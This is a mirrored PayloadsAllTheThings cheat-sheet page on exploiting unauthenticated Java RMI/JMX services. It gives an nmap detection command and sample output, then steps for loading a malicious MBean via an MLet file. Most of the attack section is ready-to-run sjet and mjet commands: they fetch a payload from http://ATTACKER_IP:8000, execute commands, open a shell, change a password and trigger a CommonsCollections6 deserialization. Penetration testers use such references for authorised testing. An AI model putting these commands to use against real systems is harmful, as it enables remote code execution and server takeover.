mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
64 lines
2.7 KiB
Markdown
64 lines
2.7 KiB
Markdown
|
# Java RMI
|
|||
|
|
|
|||
|
|
> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host.
|
|||
|
|
|
|||
|
|
## Summary
|
|||
|
|
|
|||
|
|
* [Exploitation](#exploitation)
|
|||
|
|
* [Requirements](#requirements)
|
|||
|
|
* [Detection](#detection)
|
|||
|
|
* [Remote Command Execution](#remote-command-execution)
|
|||
|
|
* [References](#references)
|
|||
|
|
|
|||
|
|
## Exploitation
|
|||
|
|
|
|||
|
|
### Requirements
|
|||
|
|
- Jython
|
|||
|
|
- The JMX server can connect to a http service that is controlled by the attacker
|
|||
|
|
- JMX authentication is not enabled
|
|||
|
|
|
|||
|
|
|
|||
|
|
### Detection
|
|||
|
|
|
|||
|
|
```powershell
|
|||
|
|
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
|
|||
|
|
1089/tcp open java-rmi Java RMI
|
|||
|
|
| rmi-vuln-classloader:
|
|||
|
|
| VULNERABLE:
|
|||
|
|
| RMI registry default configuration remote code execution vulnerability
|
|||
|
|
| State: VULNERABLE
|
|||
|
|
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
|||
|
|
| rmi-dumpregistry:
|
|||
|
|
| jmxrmi
|
|||
|
|
| javax.management.remote.rmi.RMIServerImpl_Stub
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### Remote Command Execution
|
|||
|
|
|
|||
|
|
The attack involves the following steps:
|
|||
|
|
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
|
|||
|
|
* Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
|
|||
|
|
* Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
|
|||
|
|
* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
|
|||
|
|
* The attacker finally invokes methods from the malicious MBean.
|
|||
|
|
|
|||
|
|
Exploit the JMX using [sjet](https://github.com/siberas/sjet) or [mjet](https://github.com/mogwailabs/mjet)
|
|||
|
|
|
|||
|
|
```powershell
|
|||
|
|
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
|
|||
|
|
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
|
|||
|
|
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
|
|||
|
|
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
|
|||
|
|
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
|
|||
|
|
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"
|
|||
|
|
|
|||
|
|
jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
|
|||
|
|
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
|
|||
|
|
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## References
|
|||
|
|
|
|||
|
|
* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH - 28 APR 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
|
|||
|
|
* [JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security - 26th March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)
|